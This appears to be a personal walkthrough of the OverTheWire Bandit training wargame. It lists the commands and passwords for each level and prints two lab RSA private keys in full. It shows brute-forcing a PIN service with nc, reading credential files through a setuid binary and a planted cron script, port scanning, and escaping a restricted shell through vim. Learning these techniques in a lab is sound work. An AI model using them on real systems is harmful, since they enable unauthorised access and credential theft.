

# Over The Wire - Bandit

Level 0 :

```
ssh bandit0@bandit.labs.overthewire.org -p 2220
bandit0@bandit:~$ cat readme
boJ9jbbUNNfktd78OOpsqOltutMc3MY1
```

Level 1:

```
ssh bandit1@localhost
bandit1@bandit:~$ cat ./-
CV1DtqXWVFXTvM2F0k09SHz0YwRINYA9
```

Level 2:

```
bandit2@bandit:~$ cat "spaces in this filename"
UmHadQclWmgdLOKQ3YNgjWxGoRMb5luK
```

Level 3:

```
bandit3@bandit:~$ cd inhere/
bandit3@bandit:~/inhere$ cat .hidden
plwrPrtPN36QITSp3EQaw936yaFoFgAB
```

Level 4:

```
bandit3@bandit:~$ cd inhere/
bandit4@bandit:~/inhere$ file ./*
./-file00: data
./-file01: data
./-file02: data
./-file03: data
./-file04: data
./-file05: data
./-file06: data
./-file07: ASCII text. <— — this one
./-file08: data
./-file09: data
```

```
bandit4@bandit:~/inhere$ cat ./-file07
koReBOKuIDDepwhWk7jZC0RTdopnAYKh
```

Level 5:

```
bandit5@bandit:~$ cd inhere/
bandit5@bandit:~/inhere$ find . -size 1033c
./maybehere07/.file2
```

```
bandit5@bandit:~/inhere$ cat ./maybehere07/.file2
DXjZPULLxYr17uwoI01bNLQbtFemEgo7
```

Level 6:

```
bandit6@bandit:~$ find / -size 33c -user bandit7 -group bandit6 2>/dev/null
/var/lib/dpkg/info/bandit7.password
```

```
bandit6@bandit:~$ cat /var/lib/dpkg/info/bandit7.password
HKBPTKQnlay4Fw76bEy8PVxKEDQRKTzs
```

Level 7:

```
bandit7@bandit:~$ cat data.txt |grep millionth
millionth      cvX2JJJa4CFALtqS87jk27qwqGhBM9pIV
```

Level 8:

```
bandit8@bandit:~$ cat data.txt |sort |uniq -c |sort -nk1 |head  
1 UsvVyFSfZZWbi6wgC7dAFyFuR6jQQUhR
```

Level 9:

```
bandit9@bandit:~$ strings data.txt  
===== truKLdjsbJ5g7yyJ2X2R0o3a5HqJFuLk
```

Level 10:

```
bandit10@bandit:~$ base64 -d ./data.txt  
The password is IFukwKGsFW8MOq3IRFqrxE1hxTNEbUPR
```

Level 11:

```
bandit11@bandit:~$ cat data.txt | tr 'A-Za-z' 'N-ZA-Mn-za-m'  
The password is 5Te8Y4drgCRfCx8ugdwuEX8KFC6k2EUu
```

Level 12:

```
mkdir /tmp/ppaa/  
cp ./data.txt /tmp/ppaa/  
cd /tmp/ppaa  
xxd -r ./data.txt > ./d.txt  
file d.txt
```

```
mv d.txt d.gz  
gunzip d.gz
```

```
file d  
bzip2 -d ./d
```

```
file d.out  
mv d.out d.gz  
gunzip d.gz
```

```
file d  
mv d d.tar  
tar -xvf d.tar
```

```
file data5.bin  
tar -xvf data5.bin
```

```
file data6.bin  
bzip2 -d ./data6.bin
```

```
file data6.bin.out  
tar -xvf data6.bin.out
```

```
file data8.bin  
mv data8.bin data8.gz  
gunzip data8  
bandit12@bandit:/tmp/ppaa$ cat data8  
The password is 8ZjyCRiBWFYkneahHwxCv3wb2a1ORpYL
```

Level 13:

```
I have private key:  
bandit13@bandit:~$ cat sshkey.private  
-----BEGIN RSA PRIVATE KEY-----
```

```
MIIEpAIBAAKCAQEAXkkOE83W2cOT7IWWhFc9aPaaQmQDdgzuXCv+ppZHa++buSkN+
gg0tcr7Fw8NLGa5+Uzec2rEg0WmeevB13AloYp0MZyETq46t+jk9puNwZwlt9XgB
ZufGtZEwWbFWw/vVLNwOXBe4UWStGRWzgPpEeSv5Tb1VjLZIBdGphTIK22Amz6Zb
ThMsiMnyJafEwJ/T8PQO3myS91vUHEuoOAAzoUID4kN0MEZ3+XahyK0HJVq68KsV
ObefXG1vvA3GAJ29kxJaqvRfgYnqZryWN7w3CHjNU4c/2Jkp+n8L0SnxaNA+WYA7
jiPyTF0is8uzMIYQ4I1Lzh/8/MpvhCQF8r22dwIDAQABAolBAQC6dWBjhyEOzjeA
J3j/RWmap9M5zfJ/wb2bfidNpwbB8rsJ4sZIDZQ7Xulh4LfyoAQSS+bBw3RXvzE
pvJt3SmU8hIDuLsCjL1VnBY5pY7Bju8g8aR/3FyjnAqx/TLfzILYfOu7i9Jet67
xAh0tONG/u8FB5l3LAI2Vp6OviwvdWeC4nOxCthldpuPKNLA8rmMMVRTKQ+7T2VS
nXmwYckKUcUgzoVSpINZaS0zUDypdp2+tRH3MQa5kqN1YKjvF8RC47woOYCKtsD
o3FFpGNFec9Taa3Msy+DfQQhHKZFKIL3bJDONtmrVvtYK40/yeU4aZ/HA2DQzwhe
ol1AfiEhAoGBAOnVjosBkm7sblK+n4IEwPxs8sOmhPnTDUy5WGrpSCrXOmsVIBUf
laL3ZGLx3xClwtCnEucB9DvN2HZkupc/h6hTKUYLqXuyLD8njTrbRhLgbC9QrKrS
M1F2fSTxVqPtZDIDMwjNR04xHA/fKh8bXXyTMqOHNJTHHNh3McdURjAoGBANKU
1hqfnw7+aXncJ9bjysr1ZWbqOE5Nd8AFgfwaKuGTTVX2NsUQnCMWdOp+wFak40JH
PKWkJNDBG+ex0H9JNQsTK3X5PBMA8AfX0GrKeuwKWA6erytVTqjOfLYcdp5+z9s
8DVCxDuVsM+i4X8UqIGOlvgbtKEVokHPFXP1q/dAoGAcHg5YX7WEehCgCYTzpO+
xysX8ScM2qS6xuZ3MqUWAxUWkh7NGZvhe0sGy9iOdANzwKw7mUUFViacMR/t54W1
GC83sOs3D7n5Mj8x3NdO8xFit7dT9a245TvaOYQ7KgmqpSg/ScKCw4c3eiLava+J
3btnJeSIU+8ZXq9XjPRpKwUCgYA7z6LiOQKxNeXH3qHXcnHok855maUj5fJNpPbY
iDkyZ8ySF8GlcFsky8Yw6fWCqfG3zDrohJ5l9JmEsBh7SadkwsZhvecQcS9t4vby
9/8X4jS0P8ibfcKS4nBP+dT81kkkg5Z5MohXBORA7VWx+ACohcDEkprsQ+w32xeD
qT1EvQKBgQDKm8ws2ByvSUVs9GjTilCajFqLJ0eVYzRPaY6f++Gv/UVfAPV4c+S0
kAWpXbv5tbkzbsS0eaLPTKgZavXtQoTtKwrjpolHKIHUz6Wu+n4abfAIRFubOdN
/+aLoRQ0yBDRbdXMsZN/jvY44eM+xRLdRVyMmdPtP8belRi2E2aEzA==
-----END RSA PRIVATE KEY-----
```

which I can use for logging as an user it belongs to:

```
bandit13@bandit:~$ ssh -i ./sshkey.private bandit14@localhost
```

Level 14:

```
bandit14@bandit:~/.ssh$ cat /etc/bandit_pass/bandit14
```

```
4wcYUJFW0k0XLShlDzztnTBHixU3b3e
```

```
bandit14@bandit:~/.ssh$ echo "4wcYUJFW0k0XLShlDzztnTBHixU3b3e" |nc localhost
30000
```

Correct!

```
BfMYroe26WYalil77FoDi9qh59eK5xNr
```

Level 15:

```
openssl s_client -connect localhost:30001
```

```
enter: BfMYroe26WYalil77FoDi9qh59eK5xNr
```

Correct!

```
cluFn7wTiGryunymYOu4RcfSxQluehd
```

closed

Level 16:

```
nmap -sV -sT -p 31000-32000 localhost
```

Starting Nmap 7.40 ( <https://nmap.org> ) at 2019-04-15 20:30 CEST  
Nmap scan report for localhost (127.0.0.1)

Host is up (0.00023s latency).  
Not shown: 1000 closed ports  
PORT STATE SERVICE VERSION  
**31790**/tcp open ssl/unknown

`openssl s_client -connect localhost:31790`  
enter: `cluFn7wTiGryunymYOu4RcffSxQluehd`

you will get private key - copy it to the buffer. Then create a new directory `/tmp/ppaaa/` and in there create a new file `rsa`. Paste the content of the private key there

-----BEGIN RSA PRIVATE KEY-----

```
MIIEogIBAAKCAQEAvmOkuifmMg6HL2YPIOjon6iWfbp7c3jx34YkYWqUH57SUdyJ
imZzeyGC0gtZPGujUSXiJSWl/oTqexh+cAMTSMIOJf7+BrJObArnxd9Y7YT2bRPQ
Ja6Lzb558YW3FZI87ORiO+rW4LDCDCNd2IUvLE/GL2GWyuKN0K5iCd5TbtJzEkQTu
DSt2mcNn4rhAL+JFr56o4T6z8WWAW18BR6yGrMq7Q/kALHYW3OekePQAzL0VUYbW
JGTi65CxbCnzc/w4+mqQyvmzpWtMAzJTzAzQxNbK2MBGySxDLrjg0LWN6sK7wNX
x0YVvtz/zblkPjfkU1jHS+9EbVNj+D1XFOJuaQIDAQABAoIBABagpxpM1aoLWfvD
KHcj10nqcoBc4oE11aFYQwik7xfW+24pRNUDE6SFthOar69jp5RiLwD1NhPx3iBI
J9nOM8OJOVToum43UOS8Yx8WwhXriYGnc1sskbwpXOUDc9uX4+UESzH22P29ovd
d8WErY0gPxun8pbJLmxkAtWNhpMvfe0050vk9TL5wqbu9AlbssgTcCXkMQnPw9nC
YNN6DDP2lbcBrvgT9YCNL6C+ZKufD52yOQ9qOkwFTEQpjF4uNtJom+asvlpms8A
vLY9r60wYSvmZhNqBURj7lyCtXmLu1kkd4w7F77k+DjHoAXyxcUp1DGL51sOmama
+TOWWgECgYEA8JtPxP0GRJ+IQkX262jM3dElkza8ky5molwUqYdsx0NxHgRRhORT
8c8hAuRBb2G82so8vUHk/fur85Oefc9TncnCY2crpoqsgghifKLxrlgtT+qDpfZnx
SatLdt8GfQ85yA7hnWWJ2MxF3NaeSDm75Lsm+tBbAiyC9P2jGRNtMSkCgYEAypHd
HCctNi/FwjulhttFx/rHYKhLidZDFYeiE/v45bN4yFm8x7R/b0iE7KaszX+Exdvt
SghaTdcG0Knyw1bpJVyusavPzpaJMjdJ6tcFhVAbAjm7enClvGCSx+X3l5SiWg0A
R57hJglezliVjv3aGwHwvlZvtszK6zV6oXFAu0ECgYABjo46T4hyP5tJi93V5HDI
TtieK7xRVxUl+iU7rWkGAXFpMLFteQEsRr7PJ/lemmEY5eTDAFMLy9FL2m9oQWCg
R8VdwSk8r9FGLS+9aKcV5PI/WEKlwgXinB3OhYimtiG2Cg5JCqIZFHxD6MjEGOiu
L8ktHMPvodBwNsSBULpG0QKBgBAPITfC1HOnWiMGOU3KPwYWt0O6CdTkmJOmL8Ni
blh9elyZ9FsGxsgtRBXRsqXuz7wtsQAglHxbdlQ/ZJQ7YfzOKU4ZxEnabvXnvWkU
YODjHdSOoKvDQNWu6ucyLRAWFuLSeXw9a/9p7ftpxm0TSgyvmfLF2MIAEwyzRqaM
77pBAoGAMmjmlJdjp+Ez8duyn3ieo36yrttF5NSsJLAbxFpdlc1gvtGCWW+9Cq0b
dxviW8+TFVEBI1O4f7HVM6EpTscdDxU+bCXWkfjuRb7Dy9GOtt9JPX8MBTakzh3
vBgysi/sN3RqRBcGU40fOoZyfAMT8s1m/uYv52O6lgeuZ/ujbjY=
```

-----END RSA PRIVATE KEY-----

and then run `ssh -i /tmp/ppaaa/rsa bandit17@localhost`

Level 17:

```
bandit17@bandit:~$ diff -w passwords.old passwords.new
42c42
< hlbSBPAWJmL6WFD06gpTx1pPButbIOA
---
> kfBf3eYk5BPBRzwwjqtbbfE887SVc5Yd
```


Level 18:

```
ssh -T bandit18@localhost
in the "pseudo terminal" type:
cat readme
```

lueksS7Ubh8G3DCwVzrTd8rAVOwq3M5x

Level 19:

```
bandit19@bandit:~$ ls -alrth
total 28K
-rw-r--r-- 1 root root 675 May 15 2017 .profile
-rw-r--r-- 1 root root 3.5K May 15 2017 .bashrc
-rw-r--r-- 1 root root 220 May 15 2017 .bash_logout
-rwsr-x--- 1 bandit20 bandit19 7.2K Oct 16 14:00 bandit20-do
drwxr-xr-x 2 root root 4.0K Oct 16 14:00 .
drwxr-xr-x 41 root root 4.0K Oct 16 14:00 ..
bandit19@bandit:~$
```



The owner of the **bandit20-do** file is user bandit20. **The red highlight** tells us, that the file has elevated permissions and any commands executed via the file will be run as bandit20 user.

I used this to get the password to next level.

```
bandit19@bandit:~$
bandit19@bandit:~$ ./bandit20-do cat /etc/bandit_pass/bandit20
GbKksEFF4yrVs6il55v6gwY5aVje5f0j
bandit19@bandit:~$
bandit19@bandit:~$
bandit19@bandit:~$
```

```
bandit19@bandit:~$ ./bandit20-do cat /etc/bandit_pass/bandit20
GbKksEFF4yrVs6il55v6gwY5aVje5f0j
```

Level 20:

Open 2 SSH connections.

In one run: `echo "GbKksEFF4yrVs6il55v6gwY5aVje5f0j" | nc -lnvp 2222`  
in the second run: `bandit20@bandit:~$ ./suconnect 2222`  
Read: GbKksEFF4yrVs6il55v6gwY5aVje5f0j  
Password matches, sending next password

Go back to the first one , you will see:

connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 41988  
**gE269g2h3mw3pwgrj0Ha9Uoqen1c9DGr**

Level 21:

```
bandit21@bandit:~$ cd /etc/cron.d
```

```
bandit21@bandit:/etc/cron.d$ ls -alrth
total 24K
-rw-r--r-- 1 root root 102 Oct 7 2017 .placeholder
-rw-r--r-- 1 root root 120 Oct 16 2018 cronjob_bandit22
-rw-r--r-- 1 root root 122 Oct 16 2018 cronjob_bandit23
-rw-r--r-- 1 root root 120 Oct 16 2018 cronjob_bandit24
```

```
bandit21@bandit:/etc/cron.d$ less cronjob_bandit22
```

```
bandit21@bandit:/etc/cron.d$ cat /usr/bin/cronjob_bandit22.sh
```

```
#!/bin/bash
```

```
chmod 644 /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
```

```
cat /etc/bandit_pass/bandit22 > /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
```

```
bandit21@bandit:/etc/cron.d$ cat /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
```

```
Yk7owGAcWjwMVRwrTesJEwB7WVOiILLI
```

Level 22:

```
bandit22@bandit:/usr/bin$ cat cronjob_bandit23.sh
```

```
#!/bin/bash
```

```
myname=$(whoami)
```

```
mytarget=$(echo I am user $myname | md5sum | cut -d ' ' -f 1)
```

```
echo "Copying passwordfile /etc/bandit_pass/$myname to /tmp/$mytarget"
```

```
cat /etc/bandit_pass/$myname > /tmp/$mytarget
```

If I run this script, variable "myname" will take my own user (bandit22), I need to run this for user bandit23. So let's redefine mytarget variable:

```
mytarget=$(echo I am user bandit23 | md5sum | cut -d ' ' -f 1)
```

```
bandit22@bandit:/usr/bin$ echo $mytarget
```

```
8ca319486bfbbc3663ea0fbe81326349
```

```
bandit22@bandit:/usr/bin$ cat /tmp/8ca319486bfbbc3663ea0fbe81326349
```

```
jc1udXuA1tiHqjlsL8yaapX5XIAI6i0n
```

Level 23:

```
mkdir /tmp/pavelk
```

```
chmod 777 /tmp/pavelk
```

create a new script under/ tmp/pavelk :

```
#!/bin/bash
```

```
cat /etc/bandit_pass/bandit24 > tmp/pavelk/pass.txt
```

and change the permission to 777:

```
chmod 777 /tmp/pavelk/cron.sh
```

copy the script to **/var/spool/bandit24** directory and monitor **/tmp/pavelk/** directory for a new file **pass.txt** with bandit24's password.

```
bandit23@bandit:/tmp/pavelk$ cat pass24.txt
UoMYTrfrBFHyQXmg6gzctqAwOmw1lohZ
```

Level 24:

```
bandit24@bandit:/tmp/pavelk$ cat bandit25.sh
#!/bin/bash
```

```
pass=`cat /etc/bandit_pass/bandit24`
```

```
for i in {0000..10000} ; do echo $pass $i ;sleep 0.025 ; done |nc localhost 30002 >
/tmp/pavelk/b25.log
```

The password of user bandit25 is **uNG9O58gUE7snukf3bvZ0rxhtnjzSGzG**

Level 25

We need to find what shell is bandit26 using...

```
bandit25@bandit:/tmp/pavelk$ cat /etc/passwd |grep bandit26
bandit26:x:11026:11026:bandit level 26:/home/bandit26:/usr/bin/showtext
```

Let's see what is in /usr/bin/showtext:

```
bandit25@bandit:/tmp/pavelk$ cat /usr/bin/showtext
#!/bin/sh
```

```
export TERM=linux
```

```
more ~/text.txt
exit 0
```

Small script which is using more command and then exit from the script...

In order to break the "exit 0" part, let's make the screen as small as possible, so the "more" command stays open. (make just big enough window so you can see at least 2 lines)... Then login with

```
ssh -i /home/bandit25/bandit26.sshkey bandit26@localhost
```

press v ← that will bring you to vim editor...

from which you can get your shell:

```
:set shell sh=/bin/bash
:sh
```

You will get your bash... There is no direct login to bandit26

Bandit 27:

```
bandit26@bandit:~$ ./bandit27-do cat /etc/bandit_pass/bandit27
3ba3118a22e93127a4ed485be72ef5ea
```

Bandit 28:

```
git clone ssh://bandit27-git@localhost/home/bandit27-git/repo /tmp/pavelk/gitclone
bandit27@bandit:~$ cd /tmp/pavelk/gitclone
bandit27@bandit:/tmp/pavelk/gitclone$ ls -alrth
total 16K
drwxrwxrwx 3 bandit23 root    4.0K Apr 23 15:28 ..
-rw-r--r-- 1 bandit27 bandit27 68 Apr 23 15:29 README
drwxr-xr-x 8 bandit27 bandit27 4.0K Apr 23 15:29 .git
drwxr-xr-x 3 bandit27 bandit27 4.0K Apr 23 15:29 .
```

```
bandit27@bandit:/tmp/pavelk/gitclone$ cat README
```

The password to the next level is: **0ef186ac70e04ea33b4c1853d2526fa2**

That is the end, the rest of the “levels” are just getting stuff from GIT (I guess next levels will be added later...).